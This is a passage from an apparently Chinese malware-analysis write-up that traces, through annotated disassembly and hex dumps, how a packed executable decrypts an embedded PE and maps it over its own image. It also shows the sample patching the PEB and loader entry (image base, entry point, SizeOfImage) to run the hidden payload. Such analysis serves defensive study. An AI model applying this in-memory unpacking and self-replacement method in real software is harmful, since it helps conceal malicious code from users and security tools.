&#160; &#160; 00921CB6&#160; &#160; 8D95 2CFEFFFF&#160; &#160;lea edx,dword ptr ss:[ebp-1D4]
&#160; &#160; 00921CBC&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00921CBD&#160; &#160; 8B85 CCFEFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-134]
&#160; &#160; 00921CC3&#160; &#160; 8B48 30&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[eax+30]
&#160; &#160; 00921CC6&#160; &#160; FFD1&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call ecx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 获得自身kernle32基址
&#160; &#160; 00921CC8&#160; &#160; 8985 E8FDFFFF&#160; &#160;mov dword ptr ss:[ebp-218],eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;
&#160; &#160; 00921CCE&#160; &#160; 8B95 58FFFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-A8]
&#160; &#160; 00921CD4&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00921CD5&#160; &#160; 8B85 E8FDFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-218]
&#160; &#160; 00921CDB&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;//获得 (kernel32.LocalAlloc)
&#160; &#160; 00921CDC&#160; &#160; E8 7FE7FFFF&#160; &#160;&#160;&#160;call 00920460
&#160; &#160; 00921CE1&#160; &#160; 8B8D CCFEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-134]
&#160; &#160; 00921CE7&#160; &#160; 8901&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[ecx],eax
&#160; &#160; 00921CE9&#160; &#160; 8B95 5CFFFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-A4]
&#160; &#160; 00921CEF&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00921CF0&#160; &#160; 8B85 E8FDFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-218]
&#160; &#160; 00921CF6&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;//获得 (kernel32.LocalFree)
&#160; &#160; //...
&#160; &#160;
&#160; &#160; // 再分配一块内存
&#160; &#160; 00921E2D&#160; &#160; 6A 04&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 4
&#160; &#160; 00921E2F&#160; &#160; 68 00300000&#160; &#160;&#160;&#160;push 3000
&#160; &#160; 00921E34&#160; &#160; 8B55 0C&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ss:[ebp+C]
&#160; &#160; 00921E37&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00921E38&#160; &#160; 6A 00&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 0
&#160; &#160; 00921E3A&#160; &#160; 8B85 CCFEFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-134]
&#160; &#160; 00921E40&#160; &#160; 8B48 08&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[eax+8]
&#160; &#160; 00921E43&#160; &#160; FFD1&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call ecx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;

&#160; &#160; //具体信息
&#160; &#160; 0012FB5C&#160; &#160;00921E45&#160;&#160;/CALL 到 VirtualAlloc 来自 00921E43
&#160; &#160; 0012FB60&#160; &#160;00000000&#160;&#160;|Address = NULL
&#160; &#160; 0012FB64&#160; &#160;00001A00&#160;&#160;|Size = 1A00 (6656.)
&#160; &#160; 0012FB68&#160; &#160;00003000&#160;&#160;|AllocationType = MEM_COMMIT|MEM_RESERVE
&#160; &#160; 0012FB6C&#160; &#160;00000004&#160;&#160;\Protect = PAGE_READWRITE

&#160; &#160; 00921E45&#160; &#160; 8985 C4FEFFFF&#160; &#160;mov dword ptr ss:[ebp-13C],eax
&#160; &#160; 00921E4B&#160; &#160; 8B95 C4FEFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-13C]
&#160; &#160; 00921E51&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00921E52&#160; &#160; 8B45 08&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp+8]
&#160; &#160; 00921E55&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00921E56&#160; &#160; E8 25E2FFFF&#160; &#160;&#160;&#160;call 00920080&#160; &#160;&#160; &#160;&#160; &#160; ---- 第二次解密数据到930000这块内存,这块就是用来放解密的那个pe_bound
&#160; &#160;
&#160; &#160; 这个文件本身是非连续加密的,加密的算法简单,跳过若干个字节进行解密,看一些解密后的情况。&#160; &#160;
&#160; &#160;
&#160; &#160; //解密前
&#160; &#160; 009226C0&#160;&#160;4D 38 5A 90 38 03 66 02 04 09 71 FF 81 B8 C2 91&#160;&#160;M8Z?f.q&#63733;伕聭
&#160; &#160; 009226D0&#160;&#160;01 40 C2 15 C6 D8 09 1C 0E 1F BA F8 00 B4 09 CD&#160;&#160;@?曝.壶.?
&#160; &#160; 009226E0&#160;&#160;21 B8 01 4C C0 0A 54 68 69 73 20 0E 70 72 6F 67&#160;&#160;!?L?This prog
&#160; &#160; 009226F0&#160;&#160;67 61 6D 87 63 47 6E 1F 4F 74 E7 62 65 AF CF 75&#160;&#160;gam嘽GnOt鏱e&#57860;u
&#160; &#160; 00922700&#160;&#160;5F 98 69 06 44 4F 7E 53 03 6D 6F 64 65 2E 0D 89&#160;&#160;_榠DO~Smode..
&#160; &#160; 00922710&#160;&#160;0A 24 4C 44 85 01 BB 29 40 C1 DA 47 13 58 04 E6&#160;&#160;.$LD??@邻GX
&#160; &#160; 00922720&#160; &#160;3E 1C 3A 30 C0 11 A3 C5 54 F8 C3 88 02 D5 7C 1A&#160;&#160;>:0?ET&#57942;?諀
&#160; &#160; 00922730&#160; &#160;54 CE 1C 46 F8 FB A9 20 29 0D 90 10 3F C1 52 69&#160;&#160;T?F&#57998;?).??罵i
&#160; &#160; 00922740&#160; &#160;63 68 44 38 2A 9C 10 50 45 14 4C 01 DA 0E FC 95&#160;&#160;chD8*?PEL?鼤
&#160; &#160; 00922750&#160; &#160;BD F5 14 8E E0 03 02 01 0B 93 08 33 12 20 1B 10&#160;&#160;锦庎?3 
&#160; &#160; 00922760&#160; &#160;20 09 60 33 30 7F 11 70 2B 09 90 F6 A0 18 49 02&#160; &#160;.`30&#65533;p+.愽?I

&#160; &#160; // 解密后的
&#160; &#160; 00930000&#160;&#160;4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00&#160;&#160;MZ?......&#63733;&#63733;..
&#160; &#160; 00930010&#160;&#160;B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00&#160;&#160;?......@.......
&#160; &#160; 00930020&#160;&#160;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&#160;&#160;................
&#160; &#160; 00930030&#160;&#160;00 00 00 00 00 00 00 00 00 00 00 00 D8 00 00 00&#160;&#160;............?..
&#160; &#160; 00930040&#160;&#160;0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68&#160;&#160;?.???L?Th
&#160; &#160; 00930050&#160;&#160;69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F&#160;&#160;is program canno
&#160; &#160; 00930060&#160;&#160;74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20&#160;&#160;t be run in DOS
&#160; &#160; 00930070&#160;&#160;6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00&#160;&#160;mode....$.......
&#160; &#160; 00930080&#160;&#160;85 BB 29 40 C1 DA 47 13 C1 DA 47 13 C1 DA 47 13&#160;&#160;吇)@邻G邻G邻G
&#160; &#160; 00930090&#160;&#160;E6 1C 3A 13 C0 DA 47 13 A3 C5 54 13 C3 DA 47 13&#160;&#160;?:磊GET泌G
&#160; &#160; 009300A0&#160;&#160;02 D5 1A 13 CE DA 47 13 C1 DA 46 13 FB DA 47 13&#160;&#160;?乌G邻F&#58247;G
&#160; &#160;
&#160; &#160;
&#160; &#160; // pe_bound解密完成后,继续修改自身
&#160; &#160; //修改自身内存属性,从基址开始4000000

&#160; &#160; 00921F0F&#160; &#160; 6A 40&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push 40
&#160; &#160; 00921F11&#160; &#160; 8B8D C0FEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-140]
&#160; &#160; 00921F17&#160; &#160; 8B51 38&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+38]
&#160; &#160; 00921F1A&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00921F1B&#160; &#160; 8B85 48FFFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-B8]
&#160; &#160; 00921F21&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00921F22&#160; &#160; 8B8D CCFEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-134]
&#160; &#160; 00921F28&#160; &#160; 8B51 14&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+14]
&#160; &#160; 00921F2B&#160; &#160; FFD2&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;call edx&#160; &#160;&#160; &#160; //VirtualProtect
&#160; &#160;
&#160; &#160; // 拷贝930000这块内存的0 ~ 0x400 空间的数据到自身 0x400000 ~ 0x400400

&#160; &#160; 00921F53&#160; &#160; 8B8D D8FDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-228]
&#160; &#160; 00921F59&#160; &#160; 83C1 01&#160; &#160;&#160; &#160;&#160; &#160;add ecx,1
&#160; &#160; 00921F5C&#160; &#160; 898D D8FDFFFF&#160; &#160;mov dword ptr ss:[ebp-228],ecx
&#160; &#160; 00921F62&#160; &#160; 8B95 D8FDFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-228]
&#160; &#160; 00921F68&#160; &#160; 3B55 D4&#160; &#160;&#160; &#160;&#160; &#160;cmp edx,dword ptr ss:[ebp-2C]
&#160; &#160; 00921F6B&#160; &#160; 73 1B&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnb short 00921F88
&#160; &#160; 00921F6D&#160; &#160; 8B45 DC&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-24]
&#160; &#160; 00921F70&#160; &#160; 0385 D8FDFFFF&#160; &#160;add eax,dword ptr ss:[ebp-228]
&#160; &#160; 00921F76&#160; &#160; 8B8D F0FDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-210]
&#160; &#160; 00921F7C&#160; &#160; 038D D8FDFFFF&#160; &#160;add ecx,dword ptr ss:[ebp-228]
&#160; &#160; 00921F82&#160; &#160; 8A11&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov dl,byte ptr ds:[ecx]
&#160; &#160; 00921F84&#160; &#160; 8810&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov byte ptr ds:[eax],dl
&#160; &#160; 00921F86&#160;&#160;^ EB CB&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short 00921F53
&#160; &#160;
&#160; &#160; // 0x400 后的数据按节的大小单独copy

&#160; &#160; 00921FBC&#160; &#160; 3985 D4FDFFFF&#160; &#160;cmp dword ptr ss:[ebp-22C],eax&#160;&#160;// 比较当前处理的节数量是否等于节总数
&#160; &#160; 00921FC2&#160; &#160; 0F8D E8000000&#160; &#160;jge 009220B0
&#160; &#160; 00921FC8&#160; &#160; 8B8D DCFDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-224]
&#160; &#160; 00921FCE&#160; &#160; 0FB751 02&#160; &#160;&#160; &#160; movzx edx,word ptr ds:[ecx+2]
&#160; &#160; 00921FD2&#160; &#160; 83EA 01&#160; &#160;&#160; &#160;&#160; &#160;sub edx,1
&#160; &#160; 00921FD5&#160; &#160; 3995 D4FDFFFF&#160; &#160;cmp dword ptr ss:[ebp-22C],edx
&#160; &#160; 00921FDB&#160; &#160; 75 1A&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short 00921FF7
&#160; &#160; 00921FDD&#160; &#160; 8B85 C0FEFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-140]
&#160; &#160; 00921FE3&#160; &#160; 8B8D ECFDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-214]
&#160; &#160; 00921FE9&#160; &#160; 8B50 38&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[eax+38]
&#160; &#160; 00921FEC&#160; &#160; 2B51 0C&#160; &#160;&#160; &#160;&#160; &#160;sub edx,dword ptr ds:[ecx+C]
&#160; &#160; 00921FEF&#160; &#160; 8995 9CFDFFFF&#160; &#160;mov dword ptr ss:[ebp-264],edx
&#160; &#160; 00921FF5&#160; &#160; EB 18&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short 0092200F
&#160; &#160; 00921FF7&#160; &#160; 8B85 ECFDFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-214]
&#160; &#160; 00921FFD&#160; &#160; 8B8D ECFDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-214]
&#160; &#160; 00922003&#160; &#160; 8B50 34&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[eax+34]
&#160; &#160; 00922006&#160; &#160; 2B51 0C&#160; &#160;&#160; &#160;&#160; &#160;sub edx,dword ptr ds:[ecx+C]
&#160; &#160; 00922009&#160; &#160; 8995 9CFDFFFF&#160; &#160;mov dword ptr ss:[ebp-264],edx
&#160; &#160; 0092200F&#160; &#160; 8B85 9CFDFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-264]
&#160; &#160; 00922015&#160; &#160; 8985 CCFDFFFF&#160; &#160;mov dword ptr ss:[ebp-234],eax
&#160; &#160; 0092201B&#160; &#160; 8B8D ECFDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-214]
&#160; &#160; 00922021&#160; &#160; 8B55 DC&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ss:[ebp-24]
&#160; &#160; 00922024&#160; &#160; 0351 0C&#160; &#160;&#160; &#160;&#160; &#160;add edx,dword ptr ds:[ecx+C]
&#160; &#160; 00922027&#160; &#160; 8995 D0FDFFFF&#160; &#160;mov dword ptr ss:[ebp-230],edx
&#160; &#160; 0092202D&#160; &#160; C785 B8FDFFFF 0>mov dword ptr ss:[ebp-248],0
&#160; &#160; 00922037&#160; &#160; 33C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;xor eax,eax
&#160; &#160; 00922039&#160; &#160; 8985 BCFDFFFF&#160; &#160;mov dword ptr ss:[ebp-244],eax
&#160; &#160; 0092203F&#160; &#160; 8985 C0FDFFFF&#160; &#160;mov dword ptr ss:[ebp-240],eax
&#160; &#160; 00922045&#160; &#160; 8985 C4FDFFFF&#160; &#160;mov dword ptr ss:[ebp-23C],eax
&#160; &#160; 0092204B&#160; &#160; 8985 C8FDFFFF&#160; &#160;mov dword ptr ss:[ebp-238],eax
&#160; &#160; 00922051&#160; &#160; 8B8D D0FDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-230]
&#160; &#160; 00922057&#160; &#160; 898D B4FDFFFF&#160; &#160;mov dword ptr ss:[ebp-24C],ecx
&#160; &#160; 0092205D&#160; &#160; 8B95 ECFDFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-214]
&#160; &#160; 00922063&#160; &#160; 8B42 10&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ds:[edx+10]
&#160; &#160; 00922066&#160; &#160; 3B85 CCFDFFFF&#160; &#160;cmp eax,dword ptr ss:[ebp-234]&#160; &#160;// 比较 SizeOfRawData 的大小,做copy前准备
&#160; &#160; 0092206C&#160; &#160; 76 0E&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jbe short 0092207C&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;
&#160; &#160; 0092206E&#160; &#160; 8B8D CCFDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-234]
&#160; &#160; 00922074&#160; &#160; 898D 6CFEFFFF&#160; &#160;mov dword ptr ss:[ebp-194],ecx
&#160; &#160; 0092207A&#160; &#160; EB 0F&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short 0092208B
&#160; &#160; 0092207C&#160; &#160; 8B95 ECFDFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-214]
&#160; &#160; 00922082&#160; &#160; 8B42 10&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ds:[edx+10]
&#160; &#160; 00922085&#160; &#160; 8985 6CFEFFFF&#160; &#160;mov dword ptr ss:[ebp-194],eax
&#160; &#160; 0092208B&#160; &#160; 8B8D 6CFEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-194]
&#160; &#160; 00922091&#160; &#160; 51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 目的数据,就是自身的节偏移
&#160; &#160; 00922092&#160; &#160; 8B95 ECFDFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-214]
&#160; &#160; 00922098&#160; &#160; 8B45 D8&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-28]
&#160; &#160; 0092209B&#160; &#160; 0342 14&#160; &#160;&#160; &#160;&#160; &#160;add eax,dword ptr ds:[edx+14]
&#160; &#160; 0092209E&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 源数据,就是alloc 的那个buff 930000 + 节偏移
&#160; &#160; 0092209F&#160; &#160; 8B8D D0FDFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-230]
&#160; &#160; 009220A5&#160; &#160; 51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // copy数据大小
&#160; &#160; 009220A6&#160; &#160; E8 55DFFFFF&#160; &#160;&#160;&#160;call 00920000&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// copy数据到自身
&#160; &#160; 009220AB&#160;&#160;^ E9 E4FEFFFF&#160; &#160;&#160;&#160;jmp 00921F94


&#160; &#160;// 查找自身的映像数据也就是0x400000,如果是跳到下方,做一系列修改操作
&#160; &#160;
&#160; &#160; 0092225A&#160; &#160; E8 61F2FFFF&#160; &#160;&#160;&#160;call 009214C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// eax 中 获得PEB 基址
&#160; &#160; 0092225F&#160; &#160; 8945 94&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ss:[ebp-6C],eax
&#160; &#160; 00922262&#160; &#160; 8B45 94&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp-6C]
&#160; &#160; 00922265&#160; &#160; 8B8D 48FFFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-B8]
&#160; &#160; 0092226B&#160; &#160; 8948 08&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[eax+8],ecx&#160; &#160;&#160;&#160;// 修改PEB 中的ImageBaseAddress 数据为0x400000
&#160; &#160; 0092226E&#160; &#160; E8 4DF2FFFF&#160; &#160;&#160;&#160;call 009214C0&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// eax 中 获得PEB 基址
&#160; &#160; 00922273&#160; &#160; 8B50 0C&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[eax+C]&#160; &#160;&#160;&#160;// PEB.Ldr
&#160; &#160; 00922276&#160; &#160; 83C2 0C&#160; &#160;&#160; &#160;&#160; &#160;add edx,0C&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;// PEB.Ldr.InLoadOrderModuleList
&#160; &#160; 00922279&#160; &#160; 8995 30FFFFFF&#160; &#160;mov dword ptr ss:[ebp-D0],edx
&#160; &#160; 0092227F&#160; &#160; 8B85 30FFFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-D0]
&#160; &#160; 00922285&#160; &#160; 8B08&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[eax]
&#160; &#160; 00922287&#160; &#160; 898D 28FEFFFF&#160; &#160;mov dword ptr ss:[ebp-1D8],ecx
&#160; &#160; 0092228D&#160; &#160; 8B95 28FEFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-1D8]
&#160; &#160; 00922293&#160; &#160; 3B95 30FFFFFF&#160; &#160;cmp edx,dword ptr ss:[ebp-D0]&#160; &#160; // 遍历链表模块信息,查找自身模块
&#160; &#160; 00922299&#160; &#160;/74 57&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;je short 009222F2
&#160; &#160; 0092229B&#160; &#160;|8B85 28FEFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-1D8]
&#160; &#160; 009222A1&#160; &#160;|8985 34FFFFFF&#160; &#160;mov dword ptr ss:[ebp-CC],eax
&#160; &#160; 009222A7&#160; &#160;|8B8D 34FFFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-CC]
&#160; &#160; 009222AD&#160; &#160;|8B51 18&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+18]
&#160; &#160; 009222B0&#160; &#160;|3B95 48FFFFFF&#160; &#160;cmp edx,dword ptr ss:[ebp-B8]&#160; &#160; // 比较是不是自身模块0x400000
&#160; &#160; 009222B6&#160; &#160;|75 2A&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jnz short 009222E2
&#160; &#160; 009222B8&#160; &#160;|8B85 C0FEFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-140]
&#160; &#160; 009222BE&#160; &#160;|8B8D 48FFFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-B8]
&#160; &#160; 009222C4&#160; &#160;|0348 10&#160; &#160;&#160; &#160;&#160; &#160;add ecx,dword ptr ds:[eax+10]&#160; &#160; // 获得bound_pe的入口点,但这个是经过修正的,已经被改为0x407f30
&#160; &#160; 009222C7&#160; &#160;|8B95 34FFFFFF&#160; &#160;mov edx,dword ptr ss:[ebp-CC]
&#160; &#160; 009222CD&#160; &#160;|894A 1C&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[edx+1C],ecx&#160; &#160; // 改写原自身的入口点0x40109c为0x407f30
&#160; &#160; 009222D0&#160; &#160;|8B85 34FFFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-CC]&#160; &#160; // eax 保存当前 _LDR_DATA_TABLE_ENTRY 信息
&#160; &#160; 009222D6&#160; &#160;|8B8D C0FEFFFF&#160; &#160;mov ecx,dword ptr ss:[ebp-140]
&#160; &#160; 009222DC&#160; &#160;|8B51 38&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+38]&#160; &#160; // SizeOfImage
&#160; &#160; 009222DF&#160; &#160;|8950 20&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[eax+20],edx&#160; &#160; // 修改SizeOfImage 为0xA000,原为0x19000
&#160; &#160; 009222E2&#160; &#160;|8B85 28FEFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-1D8]
&#160; &#160; 009222E8&#160; &#160;|8B08&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ds:[eax]
&#160; &#160; 009222EA&#160; &#160;|898D 28FEFFFF&#160; &#160;mov dword ptr ss:[ebp-1D8],ecx
&#160; &#160; 009222F0&#160;&#160;^|EB 9B&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;jmp short 0092228D&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;// 如果没有发现继续next
&#160; &#160;
&#160; &#160;
&#160; &#160; // 找到,跳出了链表循环
&#160; &#160; 009222F2&#160; &#160; 8D95 70FEFFFF&#160; &#160;lea edx,dword ptr ss:[ebp-190]
&#160; &#160; 009222F8&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 009222F9&#160; &#160; 8B85 48FFFFFF&#160; &#160;mov eax,dword ptr ss:[ebp-B8]
&#160; &#160; 009222FF&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 压入基址0x400000
&#160; &#160; 00922300&#160; &#160; E8 2BEDFFFF&#160; &#160;&#160;&#160;call 00921030

&#160; &#160; //&#160;&#160;填充一些PE信息
&#160; &#160; 00921030&#160; &#160; 55&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ebp
&#160; &#160; 00921031&#160; &#160; 8BEC&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;mov ebp,esp
&#160; &#160; 00921033&#160; &#160; 83EC 0C&#160; &#160;&#160; &#160;&#160; &#160;sub esp,0C
&#160; &#160; 00921036&#160; &#160; 8D45 F8&#160; &#160;&#160; &#160;&#160; &#160;lea eax,dword ptr ss:[ebp-8]
&#160; &#160; 00921039&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 0092103A&#160; &#160; 8D4D FC&#160; &#160;&#160; &#160;&#160; &#160;lea ecx,dword ptr ss:[ebp-4]
&#160; &#160; 0092103D&#160; &#160; 51&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push ecx
&#160; &#160; 0092103E&#160; &#160; 8D55 F4&#160; &#160;&#160; &#160;&#160; &#160;lea edx,dword ptr ss:[ebp-C]
&#160; &#160; 00921041&#160; &#160; 52&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push edx
&#160; &#160; 00921042&#160; &#160; 8B45 08&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp+8]
&#160; &#160; 00921045&#160; &#160; 50&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160;&#160;push eax
&#160; &#160; 00921046&#160; &#160; E8 D5F4FFFF&#160; &#160;&#160;&#160;call 00920520&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160;&#160; &#160; // 获得MagicNumber,第一个节的虚拟地址,
&#160; &#160; 0092104B&#160; &#160; 8B4D 0C&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp+C]
&#160; &#160; 0092104E&#160; &#160; 8B55 08&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ss:[ebp+8]
&#160; &#160; 00921051&#160; &#160; 8951 18&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[ecx+18],edx
&#160; &#160; 00921054&#160; &#160; 8B45 0C&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp+C]
&#160; &#160; 00921057&#160; &#160; 8B4D FC&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-4]
&#160; &#160; 0092105A&#160; &#160; 8B51 10&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+10]
&#160; &#160; 0092105D&#160; &#160; 8950 1C&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[eax+1C],edx&#160;&#160;// 写新的入口地址
&#160; &#160; 00921060&#160; &#160; 8B45 0C&#160; &#160;&#160; &#160;&#160; &#160;mov eax,dword ptr ss:[ebp+C]
&#160; &#160; 00921063&#160; &#160; 8B4D FC&#160; &#160;&#160; &#160;&#160; &#160;mov ecx,dword ptr ss:[ebp-4]
&#160; &#160; 00921066&#160; &#160; 8B51 38&#160; &#160;&#160; &#160;&#160; &#160;mov edx,dword ptr ds:[ecx+38]&#160;&#160;// 写入新的Size0fImage
&#160; &#160; 00921069&#160; &#160; 8950 20&#160; &#160;&#160; &#160;&#160; &#160;mov dword ptr ds:[eax+20],edx
